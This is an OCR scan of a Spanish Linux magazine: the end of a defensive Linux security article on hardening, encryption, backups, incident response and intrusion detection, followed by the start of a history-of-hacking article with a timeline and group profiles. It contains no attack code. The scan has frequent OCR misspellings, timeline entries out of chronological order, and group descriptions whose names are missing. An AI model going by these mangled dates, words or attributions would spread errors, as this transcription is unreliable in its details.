utiles para mantener la seguridad de su siste-
ma. Los dos dispositivos /dev/random y /dev/
urandom los proporciona el niicleo para generar
datos aleatorios en cualquier instante. Por ejem-
plo, para iniciar un ntimero de secuencia para
conexiones TCP/IP. Ambos, /dev/random 'y /dev/
urandom, deberian ser suficientemente seguros
como para generar claves PGP, SSH y otras apli-
caciones donde son un requisito numeros aleato-
rios seguros para generar claves validas para una
sesion. Los atacantes no deberian ser capaces de
determinar el siguiente nimero dada cualquier
secuencia de nimeros con este origen. Se han
dedicado muchos esfuerzos para garantizar que
los niimeros que se obtienen de esta fuente sean
pseudoaleatorios en todos los sentidos.

Seguridad de Red. La seguridad de las co-
nexiones en red merece una atencion especial
por el impacto que representan los fallos (inclu-
so ante la opinion publica).

Existe un demonio llamado inetd que escu-
cha todos los intentos de conexion que se rea-
licen a un sistema. Las solicitudes de conexion
van dirigidas a un puerto (nimero de servicio,
quizas sea mas claro que puerto). Por ejemplo,
el 80 corresponde al servidor de paginas web,
23 para telnet, 25 para smtp, etc. Los servicios
de red que ofrece un sistema estan descritos en/
etc/inetd.conf (y en /etc/services los numeros
de puertos).

No tenga abiertos los servicios que no ne-
cesita; esto supone asumir un riesgo a cambio
de nada. Tampoco limite la funcionalidad del
sistema, si tiene que usar un servicio, hagalo
con conocimiento de lo que hace.

Se puede usar cifrados simétricos como
pgp 'y gpg para documentos, correo electroni-
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co y comunicaciones sobre canales inseguros.
Las comunicaciones seguras para garantizar
la privacidad e integridad de la informacion
y pueden ser de distinto tipo:

e SSH (Secure Shell), stelnet: SSH y stelnet
son programas que permiten efectuar conex-
iones con sistemas remotos y mantener una
conexion cifrada. Con esto se evita, entre
otras cosas, que las claves circulen por la
red sin ciftar.

e CIPE (Cryptographic IP Encapsulation):
CIPE cifra los datos a nivel de red. El viaje
de los paquetes entre hosts se hace cifrado.
A diferencia de SSH que cifra los datos por
conexion, lo hace a nivel de socket. El cifra-
do a bajo nivel tiene la ventaja de permitir,
de forma transparente, el trabajo entre dos
redes conectadas en la RVP (Red Virtual
Privada) sin ningun cambio en el software
de aplicacion.

o SSL (Secure Sockets Layer): Disenado y pro-
puesto en 1994 por Netscape Communica-
tions Corporation junto con su primera ver-
sion del Navigator como un protocolo para
dotar de seguridad a las sesiones de nave-
gacion a través de Internet. Sin embargo, no
fue hasta su tercera version, conocida como
SSL v3.0 que alcanzé su madurez, superan-
do los problemas de seguridad y las limi-
taciones de sus predecesores. En su estado
actual proporciona los siguientes servicios:

e Cifrado de datos. La informacion trans-
ferida, aun en manos de un atacante, sera
indescifrable; garantizando asi la confiden-
cialidad.

e Autenticacion de servidores. El usuario pue-
de asegurarse de la identidad del servidor al
que se conecta y al que posiblemente envie
informacién personal confidencial.

o Integridad de mensajes. Impide que las mo-
dificaciones intencionadas o accidentales en
la informacion mientras viaja por Internet,
pasen inadvertidas.

e Autenticacion de cliente (opcionalmente).
Permite al servidor conocer la identidad del
usuario, con el fin de decidir si puede acce-
der a ciertas areas protegidas.

Es necesario determinar los servicios activos.
Desactive todos los servicios que no vaya a pres-
tar, en particular revise los ficheros /etc/inittab,
/etc/inetd.conf y los demonios que se lanzan
durante el arranque. Si no esta realmente seguro
de lo que hace, mejor no haga nada; las distribu-
ciones mas modernas incorporan unos minimos
de seguridad aceptables para un usuario medio.
Puede usar un analizador de puertos para ver
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qué parte de su sistema es visible desde el ex-
terior. Existen utilidades como SATAN (http.//
www.trouble.org/~zen/satan/satan.html), Nessus
(http://www.nessus.org) o nmap que realizan
esta labor.

Existe un parche para el nucleo Linux que
impide la modificacion de ciertos ficheros, in-
cluso por el propio root. El niicleo, parcheado
de esta forma, puede garantizar la integridad de
la informacién almacenada, incluso en el caso
de que alguien consiguiera privilegios de root
en nuestro sistema. Este parche se puede ob-
tener, junto con la informacion necesaria para
su instalacion, en LIDS (http://www.soaring-
bird.com.cn/oss_proj/lids/).

Se debe mantener el software actualizado.
Cientos de expertos analizan minuciosamente
el codigo para detectar alguna pega que poder
publicar en las listas de correo sobre seguridad
mas prestigiosas, y se corrigen con gran rapidez.
De esta forma se garantiza un software de cali-
dad y no una mera seguridad aparente. Esto por
otro lado obliga a la sustitucion de las versiones
defectuosas por otras corregidas y que mejoran
las prestaciones. En cualquier sistema operativo,
mantener un software que ha demostrado tener
fallos supone asumir un riesgo innecesario.

Existen acontecimientos de los que puede
resultar muy dificil protegerse, como son los de-
sastres naturales, catastrofes y accidentes; pero
es posible seguir una serie de pasos para evitar su
incidencia o, al menos, que sea lo menor posible.
La mejor solucion es mantener un buen conjunto
de copias de seguridad sobre toda la informacion
necesaria del sistema. Hay que pensar que las co-
pias de seguridad no solo protegen de desgracias
fisicas, sino también de los desastres que pueda
ocasionar algiin intruso, de cualquier ataque a la
disponibilidad o integridad de la informacion del
sistema. Es necesario tener una politica de copias
de seguridad adecuada a las caracteristicas de la
entidad que se gestiona.

Existe cierta informacion del sistema que
es imprescindible para su correcto funciona-
miento. Es conveniente tener una copia de estos
ficheros en una ubicacion segura. En particular
resulta conveniente tener una copia del conte-
nido del directorio /etc. También hay que man-
tenerla en lugar seguro, ya que tiene copias de
los ficheros /etc/passwd 'y /etc/shadows, entre
otros, que puedan contener claves de usuarios
que no estan cifradas.

En cada sistema es conveniente tener una
base de datos de las aplicaciones que hay insta-
ladas en el servidor. Cada distribucion dispone
de alguna herramienta que nos realiza el mante-
nimiento de la base de datos a la vez que instala
o desinstala aplicaciones. También sera necesa-
rio mantener copia de seguridad de los ficheros

de registro de incidencias, y asi tener constancia
de las distintas actividades del sistema.

(Qué se puede hacer en caso de sufrir o detectar
que esta sufriendo un ataque? Depende de la
naturaleza del ataque.

Cuando se detecta un ataque local es nece-
sario verificar la identidad del atacante. No con-
viene sacar conclusiones precipitadas y culpar
a alguien de atacar el sistema cuando sélo puede
que sea una negligencia a la hora de seleccionar
una clave o abandonar abierta una consola. Re-
copile todas las pruebas que haya detectado en
los registros, procesos, modificaciones de infor-
macion, etc. Sea rapido, pero seguro. Esta en jue-
go su sistema y su prestigio. Hay que verificar el
origen de la conexion, los registros del sistema y
los procesos que tiene activos. Comprobar si son
los habituales y qué es lo que se sale de lo nor-
mal. Después se debe dirigir a esa persona, por
teléfono o personalmente, para indagar qué esta
haciendo e invitarle a que cese en la actividad.
Si no tiene una conexion activa y no tiene idea
de lo que se le dice, habra que profundizar en la
investigacion porque cabe la posibilidad de que
alguien haya utilizado esa cuenta de forma ile-
gitima. Si reconoce el incidente, debe informar
de los mecanismos que ha utilizado, las acciones
que ha realizado y actuar en consecuencia.

Si el ataque se produce a través de la red
son posibles diversos escenarios. En general
puede ser conveniente espiar un poco al intruso
para obtener mas pruebas y después desconec-
tar el interfaz de red si es posible. Si no fuera
posible desconectar el interfaz, se debe usar
algun filtro para las conexiones procedentes
de la direccion del atacante. Programas como
ipchains (0 ipfwadm en su caso) pueden rea-
lizar esta labor. Si se desconecta el interfaz o se
deniega (no rechazo) los paquetes procedentes
de esa direccion el intruso podria interpretarlo
como un error de red, mas que una deteccion
del ataque. Si no se puede limitar el acceso
a las direcciones que usa el intruso, intente ce-
rrar la cuenta del usuario. Cerrar una cuenta no
es una cosa simple. Tiene que tener en cuenta
los ficheros .rhosts, el acceso FTP y otras posi-
bles puertas traseras.

En general no es aconsejable apagar el sis-
tema. Por supuesto, nunca apagarlo en caliente;
se podria perder la informacion almacenada en
la memoria. En Linux es posible ver la lista de
procesos que hay en ejecucion y matar aquellos
que puedan estar danando al sistema.

Se puede dar la situacién que nuestro siste-
ma no sea el destino final del ataque. Puede que
el intruso la haya utilizado como punto interme-
dio para atacar a otros sistemas e intentar difi-
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cultar el seguimiento de las pistas. En este caso,
ademas de limitar las acciones del atacante se
deberia notificar al administrador del destino
del ataque y conservar todas las pruebas exis-
tentes para una posible reclamacion judicial.

La parte mas dificil de superar del inci-
dente, una vez finalizado, es tratar de dejar el
sistema mejor de lo que estaba antes de que
ocurriera.

Tapar el agujero. Determine los medios
que uso6 el atacante para acceder a su sistema.
Debera analizar cuidadosamente los ficheros de
registro del sistema. En ellos deberia haber una
informacion valiosa para seguir la pista de las
actividades del intruso en nuestra maquina. Las
causas mas habituales son una mala configura-
cion de algun servicio, un programa defectuoso
o la negligencia de algln usuario con respecto
a su clave de acceso.

Si no elimina al atacante, probablemente
volvera. No sélo a su maquina, sino a cualquiera
otra de la red. Durante sus incursiones ha podido
utilizar algin sniffer, y disponer de informacion
suficiente para tener acceso a otras maquinas
locales. Si sospecha que el atacante ha obtenido
copias de los ficheros /etc/passwd, /etc/shadow,
[etc/ppp/pap-secrets, /etc/ppp/chap-secrets o cual-
quier otro fichero que contenga datos de usuarios
y claves, seria conveniente modificarlas todas. Si
tiene distintos usuarios en su maquina, obligue-
les a cambiar su clave. En general es preferible
cambiar siempre las claves después de un inci-
dente, una vez que sepamos que lo hacemos de
una forma segura.

Verifique si se han modificado las limi-
taciones al acceso a distintas herramientas de
administracion remota como linuxconf. Puede
que el atacante trate de abrir alguna puerta tra-
sera para continuar aprovechandose de nuestras
maquinas.

Haga una copia de todo el disco duro para
seguir investigando el incidente en otra maqui-
na distinta que no esté conectada a la red y no
perder una informacion que puede ser valiosa.

Evaluacion de los efectos del ataque. El
siguiente paso a realizar es la evaluacion de los
efectos que ha tenido el ataque. Tiene que tener
en mente la naturaleza del ataque para evaluar
los efectos. Si ha sido una denegacion de servi-
cio es probable que el atacante no haya tenido
acceso a la informacion local. Si tenia instalado
algin programa, estilo fripwire, que verifica
la integridad, su trabajo sera mas comodo. En
caso contrario tendra que verificar todos sus
datos importantes. Verifique las fechas de crea-
cion de los ficheros binarios y si detecta alguna
incongruencia con la fecha de instalacion pue-
de empezar a sospechar. Si tiene la posibilidad,
compare los tamafios de los ficheros con otro
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sistema /impio y por supuesto, no trate de verifi-
car los programas ejecutandolos como root.

Una buena alternativa es reinstalar el siste-
ma. Guarde los ficheros de configuracion para
tener una funcionalidad idéntica a la previa al
ataque. En Linux, los ficheros de configuracion
se almacenan en modo texto por lo que no son
susceptibles de contener caballos de Troya. Eso
si, deberia verificar que las configuraciones son
las originales y no han sido manipuladas por
el atacante. Reinstale el sistema y utilice las
copias de seguridad para reponer los datos de
los usuarios.

Hay que tener especial cuidado con las
copias de seguridad. Tiene que estar seguro de
que las copias de seguridad que esta utilizan-
do son previas a cualquier ataque. Tenga un
cuidado especial con los ficheros binarios que
restaura.

Avisar. Si cree que ha sido objeto de un ata-
que que no estd documentado, deberia noti-
ficarlo a alguna organizacion de seguridad
como CERT o similar para que se pueda so-
lucionar lo antes posible y evitar que otros sis-
temas lo puedan padecer. En Espafia resulta
especialmente recomendada la lista CERT-ES
(http://listserv.rediris.es/archives/cert-es.html)
de Redlris.

Si ha conseguido informacion sobre el ata-
cante, se lo deberia notificar al administrador
del dominio del intruso. Puede buscar este con-
tacto con whois, con la base de datos del Inter-
nic o en Redlris. Podria enviarle un mensaje de
correo con todos los registros relacionados con
el incidente, fechas y horas. Si conoce alguna
otra informacion sobre su intruso, podria men-
cionarla también. Si el administrador localiza
a su atacante, podria facilitarle las cosas.

Los buenos hackers con frecuencia usan
sistemas intermedios. Algunos (o muchos) pue-
de que ni sepan que han sido comprometidos.
Intentar seguir la pista de un cracker hasta su
origen puede ser dificil.

Si no es capaz de leer esto: %5 - -$%65alpgsst
WKDS$””ds=) (:;MNPN/ (/%251kjbx) *";Kdi, N0
se preocupe, es solo secuencia aleatoria de co-
digos, y no tiene ninguna posibilidad de hacerle
dafio. Pero un programa que vele por su seguri-
dad analizard si es alguna informacion cifrada,
un codigo de un virus, un spam o cualquier cosa
susceptible de hacer dafio. La seguridad es un
proceso continuo, que requiere tener previsto
hasta lo imprevisible.

Sistema inteligente de deteccion de intru-
sos (IDS, Intruse Detection System). Proceso
de seguridad que se dedica a monitorizar un
sistema (ordenador, red, etc.) en busca de inten-
tos de posibles malos usos o accesos no au-
torizados. Por lo general funcionan buscando
patrones definidos de actividad sospechosa.
Actualmente los IDS se basan en datos estaticos
almacenados y gestionados en bases de datos,
igualmente vulnerables, cuya actualizacion es
lenta. En la actualidad se investiga la aplicacion
de métodos estadisticos de analisis de compor-
tamiento, técnicas de inteligencia artificial, etc.
para detectar anomalias e identificar ataques.

Un detector de intrusos basado en red,
ademas de sniffer de paquetes, es Snort (http.//
www.snort.org/): un programa muy flexible
que ofrece capacidades de almacenamiento de
sus bitdcoras tanto en archivos de texto como
en bases de datos abiertas como MySQL. Im-
plementa un motor de deteccion de ataques
y barrido de puertos que permite registrar, aler-
tar y responder ante cualquier anomalia previa-
mente definida.

Existen dos casos particulares relacionados
con el IDS. HIDS para IDS en Host y NIDS pa-
ra IDS en Red. El primero detecta anomalias
que indican un riesgo potencial, revisando
las actividades en la maquina (host) y puede
tomar medidas protectoras mientras que el se-
gundo detecta anomalias que inicien un riesgo
potencial, tales como ataques de denegacion
de servicio, rastreadores de puertos o intentos
de entrar en un ordenador, analizando el trafi-
co en la red en tiempo real. Para ello, analiza
todos los paquetes, buscando en ellos patrones
sospechosos.

Tener unos buenos habitos y tomar unas peque-
flas precauciones ayuda mucho. Al usuario de
a pie, sin grandes conocimientos de adminis-
tracion de sistemas, victima por excelencia de
estos ataques, espectador impotente de la lucha
administrador-hacker, un pequefio consejo, la
forma mas segura de sobrevivir esta batalla
puede ser mas simple de lo que parece: no ins-
tales programas desconocidos (ante la duda la
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mas segura), no te conectes a sitios inseguros,
mucho menos involuntariamente, separa los
datos de los programas fisicamente (de manera
que puedas restaurar los programas sin necesi-
dad de cargarte los datos), ten copia de los datos
importantes (si es posible alguna en algin sitio
remoto que ni conozcas; por ejemplo, con algu-
na aplicacion cloud computing), preparate para
restaurar tu sistema si ocurre alguna desgracia.

Si eres un usuario avanzado o administra-
dor suscribete a las listas de correo de alertas de
seguridad para estar actualizado, presta atencion
a los ficheros de registro, actualiza el software
inseguro, verifica regularmente la integridad de
los ficheros con alglin software como tripwire,
ten unas copias de seguridad adecuadas, utilizar
PGP o GnuPG para garantizar la autenticidad
y la privacidad, verifica con periodicidad los
puertos de los equipos, revisa periddicamente
las cuentas de usuario, asigna cuotas de uso de
recursos del sistema, mantén los terminales se-
guros, asegurate de tener claves solidas, mantén
el sistema de ficheros con propietarios y permi-
sos adecuados, instala cortafuegos.

Es muy importante conocer nuestra si-
tuacion y responder preguntas como ;Qué se
quiere proteger? ;Qué valor tiene lo que se
quiere proteger? ;Qué coste tiene la seguridad?
(De quién se quiere proteger? ;Cudles son los
puntos débiles de nuestro sistema? Las posi-
bles respuestas a estas preguntas proporcionan
un abanico de posibilidades demasiado amplio
como para poderlo tratar todo. Todo lo que que-
da es aplicar el sentido comuin.

En SeguriNet (http.//segurinet.com/gsal/) se
puede encontrar una traduccion en castellano
de la Guia de Seguridad del Administrador de
Linux, donde completar aspectos mas especifi-
cos, asi como una buena lista de recursos. CI-
CA (http://www.cica.es/seguridad/) es la mejor
lista de correo sobre seguridad en castellano
sobre Linux. No es un foro de discusion, no
esta pensada para realizar consultas, sino para
recibir de forma rapida y clara todos los avisos
sobre nuevas vulnerabilidades que se detectan
en Linux, los efectos que pueden tener y como
se pueden solucionar. En las paginas del GLUB
(http://web. jet.es/jillona/seguridad/) hay una
buena recopilacion de software y documenta-
cion de seguridad en Linux en castellano. Re-
dlris (http://www.rediris.es/cert/) es otro lugar
que también dispone de informacion valiosa
y listas sobre seguridad y Linux. Muy recomen-
dable la pagina de Pedro Pablo Fabrega Marti=
nez sobre Seguridad en Linux (http://www.
arrakis.es/~pfabrega/). &
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Un viaje en la historia
del hacking

David Puente Castro

No existe mejor forma de afrontar el futuro que conociendo el pasado.

¢ Quiere saber quiénes fueron los primeros hackers?, ;quiénes los primeros
grupos?, 4cual es la historia que da trasfondo a esta subcultura de gurus
de la red? Continue leyendo, y quizas pueda seguir sus pasos.

linux@software.com.pl

n poco como dedicacion a los tiempos pasa-

dos, hoy vamos a hacer un breve recordatorio

desde las primeras épocas de los sistemas te-

lefonicos e informaticos hasta la fecha de hoy
sobre los actos mas importantes que han sucedido acerca del
mundo de la informatica y el underground, y daremos unas
escuetas descripciones a ciertos grupos de personas que han
quedado enmarcados en nuestra memoria por sus diferentes
actividades en el mundo del hacking.

Lo mas correcto seria utilizar definiciones provenientes del Jar-
gon File, pero ya que la Wikipedia es un recurso universal utili-
zado por la mayoria de la gente, adoptaremos su breve definicion
acerca de lo que es un hacker: Hacker es el neologismo utilizado
para referirse a un experto en varias o alguna rama técnica
relacionada con la informatica: programacion, redes de compu-
tadoras, sistemas operativos, hardware de red/voz, etc. Se suele
llamar hackeo y hackear a las obras propias de un hacker:

Y como muchos ya saben, esta palabra tan controvertida
tiene sus origenes en el MIT (Instituto Tecnologico de Mas-
sachussets), donde aparecieron por primera vez esas enormes
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computadoras que ocupaban habitaciones enteras y utilizaban
tarjetas perforadas. Los més inteligentes y sedientos de curio-
sidad hicieron todo lo posible por acceder a esas maquinas
el mayor tiempo posible, a la vez que aprendian de un modo
incesante para mejorar sus programas y llevar esa nueva herra-
mienta de la sociedad tecnoldgica a sus limites mas extremos.
Esos chiflados de las computadoras acabaron denominandose
hackers.

A lo largo de la historia han existido hackers buenos
y malos, aunque desgraciadamente los medios de informa-
cion no han aprendido correctamente la leccion de que a estos
ultimos deberia llamarseles crackers. Es este el motivo del
desprestigio que ha obtenido la palabra hacker entre la igno-
rante multitud que los pone a la altura de criminales o como
algunos los denominan: ciberdelincuentes.

No debemos caer en la trampa de confundir el cracker
cuando se utiliza como sinénimo de hacker malo, con el crac-
ker de software que se dedica a encontrar las vulnerabilidades
presentes en el mismo para evadir protecciones o saltarse ciertas
restricciones. Para evitar esto, actualmente conocemos al cracker
de software como reverse engineer. Una traduccion que no es
totalmente correcta seria ingeniero reverso o ingeniero inverso
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ya que la aplicacion de sus técnicas abarcan un
estudio conocido como ingenieria inversa.

Este tipo de cracker contribuye a la mejora
de las protecciones de software y atrae nuevos
conceptos sobre criptografia, aunque no de-
jemos de tener en cuenta las leyes que rigen
el software privativo y las violaciones que al
respecto se cometen cuando éstos facilitan al
publico sus famosos cracks, serials o keygen's.

Con el objetivo de poder distinguirnos unos
de otros, existen hoy en dia tres grupos principa-
les en los que puede clasificarse la actitud de un
hacker. Se resumen de la siguiente manera:

El white hat es aquella persona que, de manera
altruista o no, dedica su tiempo a la busqueda de
vulnerabilidades en un sistema para posterior-
mente reportarlas al administrador del mismo
y colaborar con ¢l en su consecuente reparacion.
Sus actos no comportan fines maléficos y nor-
malmente realiza sus acciones bajo el consenti-
miento del propietario del sistema atacado.
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El black hat es lo que comunmente llamariamos
cracker, y sus fines son, ademas de lucrativos la
mayoria de las veces, totalmente destructivos.
Jamas avisa de los errores encontrados y los uti-
liza para echar abajo servidores importantes, bo-
rrar informacion privada o colapsar redes enteras
bajo el efecto de un ataque de denegacion de ser-
vicio (DoS o DdoS). Es, desde luego, la persona
que menos puede aportar a la comunidad Under-
ground preocupada de la seguridad de Internet,
pero debemos ser realistas y afirmar que muchos
de ellos acabaron convirtiéndose, después de
una profunda madurez de su ética profesional,
en hackers de sombrero gris o blanco.

Decir que el grey hat es una mezcla de los dos
anteriores no es del todo correcto, dado que la
mayoria de las veces se acerca bastante mas al
primero. Es el personaje que encuadramos den-
tro del llamado hacker ético. Podriamos decir
que se encuentra en un limbo entre las dos fron-
teras pero que su actitud y ética le permite deci-
dir con certeza qué comportamientos son los mas
adecuados a la situacion a la que se enfrenta.
Sea como fuera, recordemos que todos ellos
utilizan exactamente las mismas herramientas,
y que solamente su cerebro y sus habilidades
son los que diferencian claramente a unos de
otros. Por lo demas, existen otros términos como
lamer, script kiddie, newbie, wannabie y muchos
otros. Los matices cambian dependiendo de la
orientacion que posean hacia el bien o hacia el
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mal, pero todos ellos tienen en comun el bajo ni-
vel de conocimientos de las técnicas de hacking.
Es por ello que no los detallaremos aqui.

Si eres de los que todavia estas empezando
en esto, y no encuentras un camino adecuado
para adentrarte en la subcultura hacker, te reco-
miendo la lectura del documento Hacker HowTo
(o Cémo Llegar a Ser un Hacker) escrito bajo la
mano de Eric S. Raymond, fundador del movi-
miento Open Source, y que te ofrecera las pau-
tas necesarias para ir adquiriendo las habilida-
des propias del hacker de hoy.

Y si no, recuerda que hay algo que ha ca-
racterizado a todo hacker que se precie, y es su
capacidad para ser autodidacta y tener una cu-
riosidad insaciable. Asi es al menos el camino
que muchos hemos seguido.

1878: Menos de dos afos después de que el
sistema telefonico de Alexander Graham Bell
empezara a funcionar, un grupo de adolescentes
echo abajo la red.

1958: EE.UU. crea ARPA (Advanced Re-
search Projects Agency), ciencia y tecnologia
aplicada al campo militar.

1960: Los hackers originales utilizaron los
primeros mainframes del MIT para desarrollar
habilidades y explorar el potencial de la infor-
matica. En esa época, hacker era un término
elogioso para los usuarios con un conocimiento
exponencial de los ordenadores.

1969: La agencia de proyectos de investi-
gacion avanzados del Departamento de Defen-
sa (DoD), construy6 Arpanet.

1971: Antes del uso masivo de los ordena-
dores y de Internet, los phreakers utilizaron la
extensa base de redes telefonicas. John Draper
(Cap'n Crunch), descubri6 que un simple
silbato permitia a los usuarios entrar en los
sistemas de facturacion de las llamadas a larga
distancia.

Richard Stallman
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1988: Robert Morris bloquea 6.000 orde-
nadores a través de ARPANET con su famoso
virus, que lanzo, segun sus propias palabras, de
forma accidental. Se funda la CERT (Computer
Emergency Response Team). Aparece el primer
software antivirus, escrito por un desarrollador
de Indonesia.

1989: Primer caso de ciberespionaje en Ale-
mania Occidental. The Mentor lanza el manifies-
to Conscience of a Hacker, que finaliza con una

frase inquietante: pueden detener a una persona,

'3 pero no pueden detenernos a todos.

Kevin Mitnick

1973: Kahn desarrolla un nuevo protocolo,
el TCP/IP (Transmision Control Protocol/ In-
ternet Protocol).

1976: Dos miembros del Homebrew Com-
puter Club lanzaron las llamadas blue box, que
se utilizaban para hackear sistemas telefonicos.
La pareja (Steve Jobs y Steve Wozniak) con-
seguirian hacerse famosos después al fundar
Apple Computer.

1983: Primer arresto de hackers por el FBI
después de que invadieran el centro de inves-
tigacion de Los Alamos. Se estrena la pelicula
Juegos de guerra, que cambio la percepcion del
publico con relacion a los hackers y establecio
su prestigio.

1984: Se funda la publicacion trimestral 2600
(nombrada como la frecuencia del silbato de John
Draper), que ofrecia una plataforma a los hackers
y phreakers para expresar sus conocimientos y ha-
bilidades. Se forma Legion of Doom (LoD).

1987: Herbert Zinn, de 17 afos de edad,
es arrestado después de entrar en el sistema de
AT&T. Los expertos afirman que estuvo a pun-
to de bloquear todo el sistema telefonico norte-
americano. Se crea el primer virus conocido de
MS-DoS, Brain. Los investigadores creen que
se escribio en Pakistan. Infectaba el sector de
arranque de los disquetes de 360 KB.

Robert Morris

1990: Se lanza el grupo de apoyo Freedom
on the Internet. Aparecen sofisticados tipos de
virus como los polimoérficos (que se modifican
a si mismos cuando se expanden) o los de mul-
tiparticion (que infectan diversas zonas de una
maquina). El First National Citibank de Chica-
go sufre el primer robo informatico reconocido
por una cantidad de 70 millones de délares. El
hacker Dark Dante, Kevin Lee Poulsen, es arres-
tado después de una biisqueda de 17 meses. Ro-
baba secretos militares. Mitnick y Shimomura
miden sus fuerzas.

1993: Se celebra la primera conferencia
DefCon de hacking en Las Vegas. Se suponia que
el evento era una celebracion unica para decir
adios a las BBS (obsoletas por la Web), pero re-
sultd tener tal éxito que se convirtio en un evento
anual. DefCon es la conferencia de hackers mas
importante del mundo, en la misma se reunen los
hackers con conocimientos més avanzados con el
fin de exponerlos al publico, o de aplicarlos en
las distintas competiciones que alli se realizan.
En sus instalaciones hacen acto de presencia
los agentes del FBI con el objetivo de llevarse
nuevos fichajes para su plantilla (precisan a los
mejores, y saben donde encontrarlos).

No obstante cabe aclarar, que como dijo Ju-
lio Cortazar: la fama es una puta que se viste de
verde, y esta conferencia ha alcanzado tal reco-
nocimiento que algunos hackers o autodenomi-
nados hackers, ven en ella una oportunidad para
darse a conocer y conseguir aprobacion entre
el numeroso publico. Esto es un arma de doble
filo, porque tiende a una pérdida total del espiritu
hacker-.

1994: Hackers atacan a los sitios web fe-
derales de los EE.UU., incluyendo la CIA, el
Departamento de Justicia, la NASA y la Fuerza
Aérea. No fue la mejor forma de hacerse popular
entre los estamentos militares. Vladimir Levin, el
legendario lider de un grupo de hackers ruso, pa-
rece ser el cerebro del robo virtual de 10 millones
de dolares del Citibank. Fue arrestado en Londres
un aflo después y extraditado a EE.UU.

1995: El Departamento de Defensa de EE.
UU. sufre 250.000 ataques en un afio. Kevin Mit-
nick es arrestado bajo sospecha de robar 20.000
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nameros de tarjetas de crédito. Es encontrado cul-
pable un afio después. La pelicula Hackers llega
a las pantallas de cine, difundiendo algunas ideas
equivocadas sobre las actividades de los hackers.

1998: Network Associates emite un anuncio
anti-hacker durante la Superbowl en los EE.UU.
En él, dos técnicos de misiles soviéticos destru-
yen el mundo, inseguros de saber si las ordenes
vienen de Moscu o de los hackers. Los hackers
afirman haber entrado en el sistema de satélites
militares y amenazan con vender secretos a los
terroristas. Se crea la NIPC (National Infras-
tructure Protection Centre) con un presupuesto
multimillonario.

1999: Nacimiento del software anti-hacking.

2000: Se producen ataques de denegacion
de servicio (DoS) sobre los grandes nombres
de la Red.

2001: XP, el Windows mas seguro, es crac-
keado antes de su lanzamiento.

2002: Bill Gates, el jefe de Microsoft crea
Trustworthy Computing. EI ISP CloudeNine es
hackeado hasta la muerte.

2007: Se producen varios ataques phishing
especificos contra entidades espafiolas espe-
cialmente agresivos a través de un kit que com-

Vladimir Levin
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Mark Abene

prende a muchos bancos espafioles. Se produce
un ataque masivo a través de un mensaje que
invita a visualizar un supuesto video en You-
tube. El reclamo en esta ocasion es reproducir
el célebre incidente entre el Rey de Espafia
y el Presidente de Venezuela con la famosa
frase: jPor qué no te callas?.

2008: Espaiia ocupa el noveno puesto mun-
dial en nimero de sistemas zombi, casi en empa-
te técnico con Estados Unidos y Rusia. Se descu-
bre una nueva forma de engafar a los servidores
DNS para que den respuestas falsas, gracias a un
fallo inherente del protocolo. No se han dado de-
talles técnicos sobre el problema. El descubridor
Dan Kaminsky ha llevado en secreto su investi-
gacion durante meses, esperando a que todos los
grandes fabricantes implicados se pusiesen de
acuerdo para programar una solucion y publicar
los parches correspondientes.

Este grupo de culto de los hackers se convirtio
en un guardian con el lanzamiento de la empre-
sa de seguridad ComSec. Algunos de los com-
ponentes que no entraron en el nuevo mundo
de ComSec terminaron en prision después de
una prolongada guerra con su principal rival
conocido como Masters of Deception.

Un grupo casi esotérico dedicado a promocio-
nar el libre intercambio de informacion, sobre
todo con relacion a la alta tecnologia.

Fundado por un grupo de amigos en un loft de
Boston -de ahi el nombre- LOpht alcanzoé la
prominencia cuando advirtieron a Washington

que podrian paralizar Internet en media hora
a menos que se mejoraran las medidas de se-
guridad del Gobierno. El grupo afirma que so-
lamente hackea para detectar los agujeros que
pueden presentar las empresas o los departa-
mentos gubernamentales. Ha lanzado herra-
mientas anti-hacking como AntiSniff, que con-
trola las redes para evitar que se utilicen en ellas
herramientas sniffer.

Entre sus obras mas preciadas y conocidas se
encuentra lophtcrack, un programa de fuerza bru-
ta que es utilizado para crackear contrasefias.

Famoso por haber violado la seguridad de Bank
of America, AT&T y la NSA, los Masters of De-
ception vieron la luz después que Mark Abene
(Phiber Optik) fuese expulsado de Legion of
Doom. Los dos grupos se enzarzaron en una
ciberguerra por un comentario racista sobre John
Lee (MoD) y muchos creian que la batalla iba a
remitir cuando la mayoria de los miembros de
estos grupos fueron arrestados en 1993. MoD era
un grupo dedicado al profundo conocimiento del
sistema telefonico.

Este grupo de hacking lanzo el programa Back
Orifice (troyano), una potente herramienta de
hacking en Def Con. Una vez que se instalaba
el programa en una maquina Windows 95/98, el
hacker podia tener acceso remoto no autorizado
al sistema.

Kim Schmitz lideré un grupo de hackers de-
nominado YIHAT (Young Intelligent Hackers
Against Terrorism, Jovenes Hackers Inteligen-
tes Contra el Terror), que afirmo haber tenido
acceso a las cuentas bancarias de Osama Bin
Laden en los dias posteriores al 11 de sep-
tiembre de 2001. La afirmacion se demostrd
falsa y el lider del grupo fue extraditado desde
Tailandia a Alemania por una serie de delitos
financieros.

El grupo aleman Chaos llego a los titulares con
una demostracion televisiva en directo del robo
de una cuenta bancaria, utilizando un simple
control Microsoft ActiveX. El Club configurd
un control ActiveX para que ejecutase una
transferencia fraudulenta a un PC que ejecuta-
ba una aplicacion financiera. Microsoft sena-
16 que muchos ejecutables podrian conseguir
el mismo resultado. Actualmente esta forma-
do por mas de 4000 miembros y es una de las
organizaciones de hackers mas importante de
Europa.

www.lpmagazine.org

seguridad y ethical hacking
Historia del hacking

Fue un estudiante de Harvard, consigui6 un
puesto en el laboratorio de inteligencia artificial
del MIT. Odiaba la idea del software de pro-
piedad privada, y por este motivo, mas adelante
creo la FSF (Free Software Foundation).

Después de retirarse de los laboratorios
del MIT, alla por los 80, desarroll6 un Sistema
Operativo llamado GNU (Gnu is not Unix).
También se encarga de la creacion de muchas
utilidades gratuitas para entornos UNIX.

Su filosofia acerca del software es una for-
ma de vida que hoy en dia es adoptada por una
ingente cantidad de seguidores. Junto con todo
su séquito es, sin duda alguna, uno de los mayo-
res contribuidores de la comunidad Linux.

Esta filosofia se resume en cuatro princi-
pios o libertades, que ¢l numero del 0 al 3 (una
pequeiia broma de programadores):

e Libertad 0 : La libertad de usar el progra-
ma, con cualquier proposito.

e Libertad 1 : La libertad de estudiar como
funciona el programa, y adaptarlo a tus
necesidades. El acceso al codigo fuente es
una condicion previa para esto.

e Libertad 2 : La libertad de distribuir co-
pias, con lo que puedes ayudar a tu vecino.

e Libertad 3 : La libertad de mejorar el pro-
grama y hacer publicas las mejoras a los
demas, de modo que toda la comunidad se
beneficie. El acceso al codigo fuente es un
requisito previo para esto.

